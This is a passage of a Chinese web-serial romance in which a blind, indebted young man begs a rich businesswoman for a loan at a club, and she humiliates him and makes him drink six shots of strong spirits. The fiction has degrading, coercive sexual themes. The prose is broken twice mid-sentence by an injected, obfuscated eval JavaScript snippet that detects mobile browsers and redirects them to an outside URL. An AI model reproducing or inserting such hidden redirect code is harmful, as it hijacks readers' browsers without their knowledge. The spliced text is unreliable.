廉租房隔音极差,外面的工地天不亮就开始作业,吵的人神经衰弱,周序坐在窗边,听着外面的轰鸣声,心中忽地闪过一个念头。 翌日,他就找上了工地,询问是否需要临时工。 他以前是练散打的,劲儿大,能干很多力气活儿。 最开始,工头看见周序是个盲人,便敷衍的把他轰走。 奈何周序每天都来问,又说视力不影响干活,工头听烦了,随意让周序扛袋水泥送过去。 本意是让他知难而退,可是周序弯下脊背,轻轻松松将那袋50kg的水泥抗在肩头,工地的路坑洼不平,他走的很慢,一手扶着墙一手扶着货,可步伐却异样沉稳。 周序来回扛了五袋,汗水打湿脸颊与衣领,可他没有喊累,腿也没有哆嗦后,工头这才高看他一眼。 就这样,周序被安排了运送砖头的活动,计件算,多劳多得,但由于视力受限,他一天的工资也只是普通工人的一半。 可有收入总比没有强,他挺满足。 他白天在工地干活,傍晚就在小区广场支个小摊,十块钱半小时肩颈按摩,也能吸引到一些中老年顾客,一晚上也能挣个三四十块钱。 周序不觉得累,反而觉得日子挺有奔头。 他甚至在想,等以后攒的钱再多点,说不定也能租个小门脸,自己开店做生意,当个小老板,到时候再把外婆接过来养老。 一切都在向好的地方发展。 可意外总是猝不及防,美好的幻想碎裂,变成满地的玻璃渣子,将人扎的鲜血淋漓。 那天午休时,工友都去吃饭,只有周序想多挣点钱,继续一趟趟运着砖头。 他没想到,会有不知情的工友拿走他定位用的小木凳,当成自己的椅子,躲在砖堆后乘凉。 失去定位方向,运转车没停住,两米高的砖堆倒塌,不仅将人掩埋,还不撞塌了堆放不稳的建材支架。 事故造成两名工人受伤,其中一个腰椎骨折,可能一辈子都落下残疾,同时损毁大量设备与材料,总损失超百万。 三方都有责任,周序需赔偿二十万。 二十万。 对于有些人来说,只是指缝中流出的一粒沙,微不足道。 可对于周序这种连路都看不见,只能在底层打零工的人来说,却是压垮生活的最后一根稻草,是熬红眼也迈不过的难关。 10. 第 10 章 周序几天几夜没合眼,将凑到的钱都给了对方。 可受伤的工人也是普通家庭,需要钱去做手术、去康复。 见周序迟迟拿不出后续的钱,不知道是谁打听到他的老家,说他外婆名下还有一套房。 他们给了周序最后三天,要么凑齐二十万,要么就去他外婆家闹。他们打听清楚了,周序外婆很宠他这个外孙,得知他出事,不可能无动于衷。 周序得知消息时,麻木僵直站在原地,脑中嗡鸣一片,连盲杖滚落在地都不知道。 他没有爸,亲妈也早几年就去世,外婆是他在世上唯一的亲人。 小老太太已经七十多了,承受不住这么大的打击的。 周序还没想到办法,外婆的电话就打了过来,老人慈祥的声音在电话里响起,带着笑意:“小序啊,你的朋友来家里做客了,还带牛奶来看我这个老太太了。” 周序心头一震,他压着语调,尽量不让外婆听出异样,“外婆,是我同事,让我和他说句话。” 几秒后,一个和受伤工友相同口音的男人开口,威胁的意味不言而喻:“周序,我在你外婆家里呢,这房子还挺大的啊。” 周序握紧手机,压低的声音有一丝发颤:“三天,我肯定凑齐这二十万。老人年纪大了,别把她卷进来。” 男人哼笑一声:“三天后再说吧。” 电话回到外婆手中,老人絮絮叨叨了一阵,无非是让周序自己在外面照顾好自己一类的。 他低声应答着,挂断电话时,掌心已经出了冷汗。 男人沉默半晌,继续打起电话。 十七岁前,周序从来没想到,人的日子会难过成这样。 他是单亲家庭,跟着老人长大,生活说不上多优渥,也是吃喝不愁,周末还能去学感兴趣的散打。 十五岁那年外公去世,他妈妈回来操办葬礼,想把祖孙俩带去宁市。 奈何小老太太不肯走,妈妈只好先把他带走,周序也没让人失望,他考上了宁市最好的高中,拿到了宁市青年组的散打冠军。 那两年,周序是老师口中的三好生,是教练眼中最有希望上国赛的好苗子,是春日茁壮成长的笋,是最鲜活青春的年岁。 直至某天,他发现了妈妈藏起来的癌症晚期确诊书。 周序没再冲击国赛,放学后就去便利店兼职,想给妈妈减轻一点负担。 直到他兼职时高烧昏迷,在病房睁开眼,眼前却漆黑一片的那个瞬间,周序就知道,一切都完了。 他瞎了。 他妈没法承受这样的打击,勉强撑了一周就撒手人寰,留给他的,只有卡上的卖房钱。 周序那时候连哭都不被允许,妈妈生前最后的叮嘱,是要他一定把眼睛治好。 两次手术台,钱花完了,眼睛却没好全。 让一个见过阳光的人失去光明与亲人,是无限的恐惧与绝望,周序浑浑噩噩两个月,直到某个清晨,听见外婆压抑的哭声时,才恍然清醒。 外婆已经失去了丈夫与女儿,不能再失去他了。 就这样,十七岁的周序扛起家庭的重担,为了挣钱,他放弃高考回到宁市,开始学习按摩、学习适应盲人的生活。 再难过,也都过来了。 可生活总是这样,每次朝着好的方向行驶时,总有突发的祸事将列车撞出轨道。 周序不明白,为什么活着这么难。 他一夜没合眼,直到清晨第一缕阳光映在脸上,眼前模糊的世界开始泛白。 眨了眨涩疼的眼,周序厚着脸皮给以前按摩会所的领班打去电话,鼻音浓重,语气卑微。 对方愣了几秒才认出是他,随后呵呵一笑,压低声音道:“小周啊,借钱的话哥是帮不上忙,但哥能告诉你一个挣快钱的方式,就看你能不能接受。” 周序连忙追问是什么。 他都可以接受,只要来钱快就行。 对面发出一声猥琐地笑:“去卖啊。” 周序霎时僵住,唇角还维持着半启的弧度。 “你记得吧,三楼有几位姐姐就喜欢你这种年轻的。你要是想回来,我可以给你介绍一下,二十万是够呛,你也不值那个价。” 对面话锋一转,继续说:“但是吧,你要是豁的出去,玩点脏的,也说不定能多捞点。” 周序唇瓣翕动,良久才开口:“赵哥,除了这个,没有其他办法了吗。” 赵哥哼笑一声,“有啊,高利贷,借去吧。” 周序握着电话的手更紧。 见电话那头良久无声,名为赵哥的男人也不知道是良心发现,还是想暗自捞点油水,叹息一声对周序说:“小周啊,听哥一句劝,高利贷就是个无底洞,没几个人能还上。你还年轻,还有点资本,你得利用起来啊……” 电话挂断后,周序坐在原地,脑海中不断盘旋着刚才的话。 ''去卖啊。'' ‘你要是豁的出去,还能多捞点。’ 来钱快的方式,总共就那么几个。 倏然,一个被周序压在记忆深处,曾以为再也没有交集的声音响起。 ‘你不是想多挣点吗,陪我一次,三千。怎么样?’ ‘三万怎么样,我正好缺个男朋友。’ ‘三十万,我给你开支票,当我男朋友好处很多的。’ * 【老板,请问盲人按摩还需要吗?】 收到这条微信时,陈娆正在会所里,面前桌上摆着一排酒,她身边靠着一个年轻男人。 瓶子高矮胖瘦各不同,但无一例外的是,都是盛卓旗下的烈酒。 调酒师单膝跪在桌边,正为眼前的老板尽职尽责的调酒。 一杯调好,陈娆下颚微抬,示意身旁的男人尝尝。 喝了一晚的男人脸颊已经泛起红晕,苦笑道:“陈总,我酒量差,喝多了的话,怕是又要被经纪人骂了。” 陈娆转过头,唇角噙笑,语调温柔而缓慢,“不喝的话,可能会被我骂。” 两人离得极近,阿轩盯着女人的红唇,将那张姣好的脸贴近,几乎是耳鬓厮磨的调情,“姐姐,我还没听过您骂人呢,要是被您骂,我乐不得。” 除了床上强势,分手时冷漠绝情,陈娆这位金主的脾气还挺好,至少没谁见她大发雷霆过。 这也是无数人想攀上她的原因。 如果听见阿轩内心的想法,陈娆大概会笑出声。床伴在她眼中和宠物没什么区别,动动指尖就能解决的东西,哪个主人真的和宠物发脾气呢。 不喜欢换一个就好了。 总有听话乖巧又省心的宠物等着她。 陈娆只是微笑着,像在看一个闹脾气的娇宠。 阿轩还是乖乖喝了酒,指尖轻轻摩挲着女人的手腕,眼波流转,勾引之意格外明显。他解开胸前的扣子,露出两个爱心挂坠与一抹银闪,是他特意打的汝钉和脐钉。 “姐姐。”他压低声音,“我下面也打了,能栓上的,您想不想试试?” 听见这话,桌旁的调酒师头都不敢抬,兢兢业业的工作着,调完最后一杯酒就离开。 就在这时,陈娆扣在桌上的手机震动一声。 她瞥了一眼,没管。 这个时间点给她发消息的,不可能是工作上的事,如果是家里有事,大概率会直接打电话。 阿轩绷紧刚练出的腹肌,将爱心吊坠主动送上去,微微沙哑的声音喊着‘姐姐’。 桌上手机又接连震动两声,似乎是有急事。 陈娆抽回手,扫过身旁人。 后者虽有些不情愿,可还是乖乖将手机给陈娆递过来,屏幕冷光泛在面上,在看见那个名为【Z】的联系人发来的消息时,陈娆有些惊讶,却不算太意外。 比她想象中要联系的更早。 她原以为,以这个男人倔强清高的性格,不被逼到最后一步,是不会主动联系她的。 这才几天就扛不住了? 陈娆点开第一条语音。 “老板,请问盲人按摩还需要吗?”男人的语速很慢,似乎是很久没休息过,嗓音沙哑粗糙,每个字都透着疲意。 陈娆点开第二条语音,空了几秒,才有声音响起。 “……不知道您上次说的还算不算数,我、我可以做的,您说的那个,我可以做的。”或许是自己都觉得难堪,男人说的磕磕绊绊,声线发抖。 “……抱歉这么晚打扰您,老板,您能再考虑一下我吗?” 听完最后一条,陈娆没忍住轻笑一声。 这副卑微小心的语气,可和前段时间从她家门甩身就走的孤傲样子截然不同。 陈娆唇角勾起一抹极淡的笑容,愉悦又大方的给了对方一次机会。 【蓝域会所1808,给你半小、】她敲打屏幕的指尖一顿,想起那男人的双眼,好心改成:【给你四十分钟。】 打完字,陈娆就将手机扔在一边,没再理会。 至于他能不能过来,怎么赶过来,都和她没关系。 听了语音的阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323475|199087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轩又凑过来,专门弹琴的手放在她肩头,不甘示弱道:“姐姐,我也会按摩啊。” 陈娆阖眸享受着,四十分钟,说快不快,说慢也不慢。 等包厢门被敲响,周序被保镖带上来时,陈娆才坐起身。 她点了根烟,眯眼看向逆光站在门口的男人,身材修长,身后的灯恰到好处的映出他完美的头身比。 可这人似乎很紧张,脚和黏在地板上一样,只傻兮兮在门口站着。 几秒后,男人喉结滚动,涩哑憔悴的声音响起:“陈老板。” 这么土鳖的称呼令阿轩瞪大眼睛,不自觉压低声音:“陈总,这位是?” 年轻的男声响起时,周序的头微不可查地偏了偏,心中骤然一紧。 老板身边已经有人了? “你同事。”没等阿轩反应过来,陈娆又说,“换个灯。” 阿轩听话起身,将屋内昏暗暧昧的暗光调成正常灯光,与此同时,也照亮门口的那个男人。 陈娆仔仔细细打量着。 天气已入初冬,周序却还是一身秋季打扮,外套看起来格外单薄,裤子上蹭了不少灰,似乎是刚才摔过一跤,连滚带爬赶过来的。 够狼狈的。 陈娆拿起手机看了一眼,淡声开口:“你超时了六分钟。” 终于听见熟悉的声音,周序瞬间转向陈娆开口的方位,睁着无神的双眸,急切解释道:“对不起,陈老、” 他忽而卡顿一瞬,换了称呼,“对不起陈总,我从城南过来的,路上有点堵车。” “你打算一直杵在门口?” 周序一怔,随即连忙用盲杖试探着前方,迈开步子,朝着陈娆声音的方向走去。 阿轩见对方是盲人,原本打算帮忙扶一下,但就在起身的瞬间,脑中忽然回想起刚才的语音,瞬间警铃大作,收回手。 这哪里是同事,分明是他的竞争对手! 屋内铺满柔软的地毯,走起路来悄无声息,直到盲杖敲到沙发边缘,周序才停下脚步。 陈娆靠在沙发上,指尖星火明灭,她望着停在身前的男人,明知故问道:“为什么改主意来找我?急着用钱?” “……是。”周序垂下头,语气很轻。 “多少?” “二十万。”男人声音更小,不见之前的半点少年气,只剩无尽的疲惫苦涩,“我想向您借二十万。” “二十万。”陈娆笑声轻蔑,“我记得你不是说过,你有手有脚,能自己挣钱,不干这种脏买卖吗。” 被拿出前段时间自己说过的话砸在脸上,周序脸色一白,随后瞬间滚烫无比。 明明屋里温暖如春,可他站的地方似乎结了霜,那点难堪潮水般翻涌上来,将他那点可笑的自尊淋透,扒光,放在人群中任人围观。 他甚至听见屋里另一个男人惊讶的气音。 是,就在一个月前,他还硬气的说过这种话。 周序攥紧拳头,指尖深深嵌入掌心,姿态窘迫而难堪。 忽视男人烧红的脸,陈娆掸了掸烟灰,继续说:“而且,我凭什么借你?你又打算怎么还?” 周序知道屋里还有另外一个男性,那道不算友善的目光从他进屋起就死死盯着他,可他没有办法,不是走投无路,他不会走到这一步。 三天。 二十万。 他真的需要这个钱。 男人启唇,喉中像插了把刀,声音艰涩的从嗓子缝里挤出来,“您想我怎么还都可以,我可以给您打欠条,签合同,或者、” 周序身量很高,而且就站在她身前三步,陈娆脖子有些累,她偏了偏头,打断对方的话:“周序,求人办事,没有让人仰视的道理。” 这话中的含义很明显。 一听这话,阿轩很上道的替陈娆轻捏着后颈。 他听出了大概的情况,鄙夷厌恶的目光落在眼前和木头桩子一样男人身上,故意小声道:“姐姐,您什么时候改行做慈善了,他连人的脸色都不会看,走路还要人掺。” 嘲讽的话被阿轩用格外真诚的语气说出来,偏偏还不能反驳。 周序是真的不会看人脸色,物理意义上那种。 看着对方微变的神情,陈娆有些想笑。 说真的,周序能赶来会所已经出乎她的意料,就算他现在和上次一样很有骨气地扭头就走,她也不会意外。 空气静默几秒,就在陈娆以为周序要打退堂鼓时。 毫无征兆的,男人放下盲杖,跪在她身前。 11. 第 11 章 隔着一层地毯,周序跪下的动作变得悄无声息。 阿轩惊讶地瞪大眼,转头观察着陈娆。 女人垂着眼眸,眸底划过一抹惊讶,很快又恢复平静。 “陈总,对不起。”男人低着头,声音沙哑而疲惫。 陈娆掸了掸烟灰,终于开口:“离那么远干什么,过来点。” 周序刚欲起身,便听屋里那个陌生男声开口:“陈总可没叫你起来。” 说完,阿轩便凑到陈娆身前,露出一个有些谄媚的笑。 他看出来了,陈总显然是想教训对方啊。 陈娆看了身旁男孩一眼,倒也没说话。 周序怔了怔,垂在腿旁的手握紧,良久,他僵直着脊背,缓缓向前膝行。 明明只有两步的距离,周旭却感觉隔了千里,他连呼吸都止住,直到……一只脚踩住他的大腿。 “停。”陈娆收回脚,微微往前俯身。 进来这么久,周序身上还带着外面的寒意,外套衣摆上还有污泥。 “把外套脱了。”她说。 周序怔愣片刻,那一瞬间,他脑海中闪过很多不堪入目的画面,他其实很害怕,害怕会在这里发生些什么。 但他别无选择,是他自己来的。 “陈总……”他轻声唤,可惜没人应答。 周序抬起手,沉默着将外套脱掉。 卫衣下的肩膀宽阔,脊背挺直,肌肉紧绷,可脑袋却深深垂着,垂着腰侧的拳头也握紧。 看来也没那么心甘情愿。 这种第一次放下身段求人的男人,都这样。 陈娆捏起对方瘦削的下巴,强迫他抬起头。 似乎是几天几夜没休息过,男人瘦了一些,脸色苍白憔悴,眼下泛着乌青,唇瓣干裂起皮,眼中布满红血丝,那双黯淡的漆黑眼瞳中,正安静倒映着她的面容。 像破碎的人偶。 有些脏旧,但洗洗还能用。 陈娆将烟雾吐在男人脸上,指腹碾过对方干裂的唇角,声音带着嘲弄道:“跪的这么干脆。周序,你的脊梁也没我想象中硬啊。” 周序不抽烟,薄荷烟草味猝不及防铺面,呛得他下意识想偏头躲开,可下巴被桎梏,他只得生生忍住,闷咳两声。 他当然清楚,眼前人是在羞辱他。 眼眶酸涩发胀,周序垂下眼睫,卑微认错,“是,陈总,之前是我不知好歹。” 是他活该。 听到他说这话,陈娆挑眉。 这态度转变的有点太快了。 今天傍晚,在给陈娆发消息前,周序做了很久的心理建设。 消息发出后,每秒都被无限拉长,心脏像悬在悬崖边。 他当然知道他这么做有多下贱,不久前还硬气拒绝的人,忽然上赶着求人。 周序做好被辱骂或者直接被忽视的准备,可他没想到,信息回复的那么快。 提示音响起时,他心脏紧张到停滞一瞬。 冰冷的电子音播报着地点与时间限制,他半点犹豫都没有,抓着衣服直接出门,甚至奢侈的打了辆车。 来的路上,周序做过无数种预设,这种羞辱与嘲讽,这是他早就料到的。 可什么底线与尊严,在金钱的压力面前,傻得可笑。 “陈总。”男人声音轻颤,“我真的需要这笔钱。” 陈娆极轻地笑了声,“你知不知道,你现在看起来,可不值我借你二十万。” 说着,她又掐起男人下巴,左右晃了晃,目光像在打量一件商品有无瑕疵。 “想借也行,但我借钱比较挑人,是处.男吗?”陈娆的语气像在询问货物般随意。 周序被这赤裸的问题问的脸颊滚烫,他没敢低头,只顺着摆弄的力道来回偏头,语气羞耻,“是、是的。” “有过交往对象吗?” “没有。” 陈娆唇角轻翘,“怎么证明?” 怎么证明? 这种事能怎么证明? 周序不知道。 但他知道此刻该说什么。 他紧紧握拳,艰涩道:“……您想怎么证明,都可以。” 听见陈娆的笑声,男人喉结滚动,继续恳求道:“陈总,少一点也行,我肯定会慢慢还您的。” 陈娆止住手,“慢慢还?你还想还多久?” 没等周序点头,阿轩挨过来,咬牙道:“姐姐,他算盘珠子打的真响。” 众所周知,陈总对男人的新鲜感来的快去的更快,上一个凯兰也才待了三个月,更何况还有位他们得罪不起的许总盯着。 这瞎子的脸还真大,借二十万还想粘包赖,攀个长期饭票。 做梦呢。 陈娆没理阿轩的话,她看了眼快燃到末尾的香烟,忽而起了点恶劣的作弄心思。 “抬手。”她说。 周序不明所以,茫然地抬起右手,手背朝上,轻蜷的指节上有着冻裂的创口。 配上男人微乱的发,苍白英俊的脸颊,这个动作莫名像一只坐起来的小狗,正抬着自己的右爪,瑟瑟发抖的等着人类对它做出什么举动。 为了口肉吃,逃也逃不了。 陈娆被这个幻视逗笑,她耐心指导:“双手交叠,手心朝上。” 周序照做,神情更加无措。 然而,在看见男人掌心的血污时,陈娆夹着香烟的双指一顿,“手怎么弄的?” 周序愣了几秒,才反应过来,“刮了一下,不碍事的。” 下楼时太着急,踉跄绊了一下,手撑在楼道口的废弃木材上,粗粝木板擦过掌心,他没管,直接扭身离开,生怕赶不上时间。 如今被询问,才后知后觉,掌心火辣刺痛一片。 应该是刮破了。 这不算什么,刚失明时,他手上天天都有伤。 陈娆盯着血色看了几秒,他掌心还有小木刺与指甲深嵌的痕迹,好好一双手,看起来和受过虐待一样。 指腹的硬茧也很明显。 陈娆还是善心大发,放弃把香烟摁灭在男人掌心的想法,只在他掌心掸了掸烟灰。 周序跪在原地举着手,残留余温的灰烬落在掌心,他低着头,似乎在努力辨别那是什么意思。 看起来更像小狗了。 不是那种听话任rua的,而是清高孤傲到看不起对人类示好的同类,直到狗窝被压碎,在街上东奔西窜实在活不下去时,才狼狈夹着尾巴对人类示弱。 把姿态放低到土里,瑟缩着任人磋磨的小土狗。 陈娆翘起二郎腿,鞋尖踢了踢周序紧绷的腰侧,“我不喜欢为难人,这样吧,既然你迟到六分钟,六杯酒,喝完我就考虑一下,不过分吧?” 周序没有不答应的理由。 “不过分,不过分的。”他连忙应。 陈娆看了阿轩一眼,后者会意起身,拿出一套200ml的古典杯,不甚确定地看了陈娆一眼。 女人似笑非笑,“你要是想给他直接喝死在这,记得提前打电话叫殡仪馆来收尸。” 阿轩立刻陪笑两声,将酒具撤下去,换成一套30ml的子弹杯。 倒酒时,阿轩眼底划过几抹狠厉,他倒是想直接给这倒霉货喝死。 他混了几个酒局,托人牵线搭桥,好不容易陪到陈娆身边,眼瞧着快成了,结果半路杀出来一个瞎子搅局。 够晦气的。 越过那些度数稍低的,阿轩挑了六瓶,一样酒倒了一杯。 “这位先生,请吧。”他一万个不情愿道。 桌上的六杯酒被整齐摆成一列,周序看不见,只能依靠触感判断酒杯的方位。 染着血污与烟灰的指抚上桌沿,缓慢拿起最边上的。 阿轩故意将酒倒得很满,刚端起来,透明酒液瞬间沿着杯壁倾洒,从男人指尖一路划过掌心。 酒精漫过伤口,周序的手有一瞬颤抖。 这杯是银龙舌兰,陈娆不徐不疾等待着。 周序握着酒杯,喉结紧张滚动,最终深吸一口气,仰头一饮而尽。陌生古怪的酒液入喉的刹那,他眉头骤然拧紧,刚咽下去,就忍不住开始咳嗽。 太呛了。 周序不会喝酒,可他也知道,这种酒不能等,喝了就得一口气喝完。 他硬忍着不适,又端起一杯。 可是周序低估了烈酒的度数,辛辣顺着喉咙灼烧五脏六腑,从第三杯开始,他的胃里就开始翻搅。 第四杯,周序举杯的手都在抖,他的判断力彻底消失,只是本能的,机械性重复着灌酒的动作。 第五杯下肚,胃里一阵阵抽痛,脑中也有眩晕感。 他吸了吸鼻子,刚欲伸手去拿第六杯,不料手不听使唤,直接碰洒酒杯。 白酒溢满桌面,杯子咕噜咕噜滚了几圈,最终落在陈娆脚前。 周序呆滞几秒,愣愣地说了声抱歉。 陈娆没给他逃酒的机会,阿轩立刻重新倒了一杯,塞到周序手里。 他故意的。 这酒要是端到陈总手里,陈总就该亲自喂这瞎子了。 最后一杯白酒入喉,周序已经不太清醒。 他扶着桌子,死死压抑着喉间的呕吐欲,紧攥的指节泛白,小臂凸起青筋,确认桌上没有遗漏的酒杯后,才转身面向陈娆。 “陈总,我喝完了。”他声音像被沙石磨过,沙哑无比。 “抬头。”陈娆道。 周序缓了十几秒,似乎才听懂,缓缓抬起头来。 六杯酒下肚,男人不仅眼尾泛红,脸颊也隐隐浮起红晕,淡色的唇被酒液浸湿,呼吸比刚才粗重一倍。 这就喝醉了? 陈娆凑近了些。 盛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323476|199087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卓靠酒类起家,陈娆从小就混迹在酒厂,十二岁那年更是不小心把父母拿回来的基酒当成饮料喝了一大口,然后回房倒头昏睡一整天,醒来后就看见床边慌张地围着五个人。 她爸妈哥姐都在,还有一个家庭医生。 几人围着她问东问西,又打点滴又喂药,可事实上,陈娆连头疼都没有,酒量从小就初现天赋。 虽然六杯都是烈酒,但也不至于上头这么快吧。 她抓起周序的头发,往后一扯,强迫对方仰头,这动作来的突然,男人睁大眼眶,猝不及防地闷哼一声。 “呃嗯……” 沙哑、低沉、也很性感。 像故意这么叫的。 “装货。”阿轩暗自咬牙。 “酒量这么差,之前没喝过?”陈娆一边询问,一边观察着他有没有酒精过敏的症状。 他浑身绷的很紧,胸膛起伏的弧度加重,喉结不断滚动,重复着吞咽的举动,似乎在极力压抑,脖颈也隐隐泛红。 但没有起疹子,也没有酒精过敏的痕迹。 单纯酒量差。 “没有……”周序仰起头,硬生生扯出一抹讨好地笑。 比陈娆见过的任何一次都要卑微,也更苦涩。 “您刚才说过的,这六杯喝完,您就考虑一下。”他哑声说。 陈娆松开手,似才想起这回事,“是,你也记得,我说的是考虑一下。” 听出女人话中含义,周序唇角一僵,泛红的脸色有瞬间发白。 “您的意思是?”他声音发颤,还抱着一丝希望。 “你也知道,考虑需要时间。”陈娆抬手拍了拍男人的脸颊,发出清脆的啪啪两声,随后站起身,慢条斯理开口。 “回去等消息吧。” 一句话,犹如闷棍敲在人中,瞬间天旋地转。 这和耍人无异。 耍就耍了。 陈娆从来没说过,她是什么好人。 一直在旁边偷听的阿轩露出一个舒坦地笑,他就知道,陈总不会看上这么个瞎眼的白莲花。 就在陈娆想离开时,忽然感到阻碍,她低下头,发现是周序在扯自己的裤脚。 嗯? “陈总……” 周序不想放弃这个最后的机会,混乱中,又倏然想起赵哥说过的话。 玩的脏,能拿到的钱更多。 男人仰起头,豁出去一般,急切道:“陈总,我什么都可以做,什么脏的都能可以玩,求您了……” 陈娆看向自己被攥住的裤脚,周序攥的很紧,犹如溺水之人攀住最后一块浮木,死死不肯松手。 灯光晃在他氤氲水雾的眼底,那双眼睛又瞬间无比鲜活,多情真意切似的,可惜只是喝酒呛出的眼泪。 陈娆唇角笑意更甚。 她说过什么来着。 在他撑不下去时,总会想到那时他错失的捷径。 那时,抛出的橄榄枝,自然会被当成救命稻草般紧紧握住。 拦住身旁欲动手的阿轩,陈娆俯身握住周序苍白的手腕,垂散的长发擦过男人脸颊。 “我没说不答应,我不是说了,我需要时间考虑。”几秒后,她蹙眉反驳,“而且谁告诉你我喜欢玩脏的?” 周序唇瓣翕动,眼底最后一丝期望消散。 没人告诉他,是他乱猜的。 “抱歉,我知道了。”他颤声呢喃,徒劳松手,身上那根紧绷的弦也随之断裂。 “乖。”陈娆揉了一把男人的脑袋,转身离开。 阿轩连忙跟上,可当他在门口瞧见一脸恨铁不成钢的经纪人时,足下顿时一愣。 “陈总。”阿轩不甘不愿地唤了声。 女人回头瞥了他一眼,唇角含笑,眼底却冰冷,多情更无情。 陈娆走后,屋内只剩周序一人,他缓了一会儿,才压着胃里的翻涌,扶着盲杖站起身。 跪久的膝盖有些麻,酒保见他是个盲人,派人将他送到门口打车位。 被风一吹,周序再也忍不住恶心,他扶着树,将胃中翻涌的酒尽数吐出。 他这一天都没吃东西,除了刚才喝的酒,什么都吐不出来。 冷风刀一般刮在脸上,周序眼眶又干又涩,他抿起唇,起身摸出电量即将耗尽的手机,打开导航。 上赶着不是买卖,他今天的行为,纯粹是来自取其辱的。 这位陈总,大概只是想看他的笑话,出出气。是他病急乱投医,竟然还觉得对方会再看上他,借他二十万。 他哪来的脸呢。 周序低下头,连自嘲的苦笑都扯不出来。 夜风吹散酒气,可胃里依旧绞痛无比,残余的酒精在身体里挥发,周序逐渐觉得头重脚轻,眼前是无尽的黑,最后一点方向感也丧失。 街道边,陈娆坐在车里,将一切尽收眼底。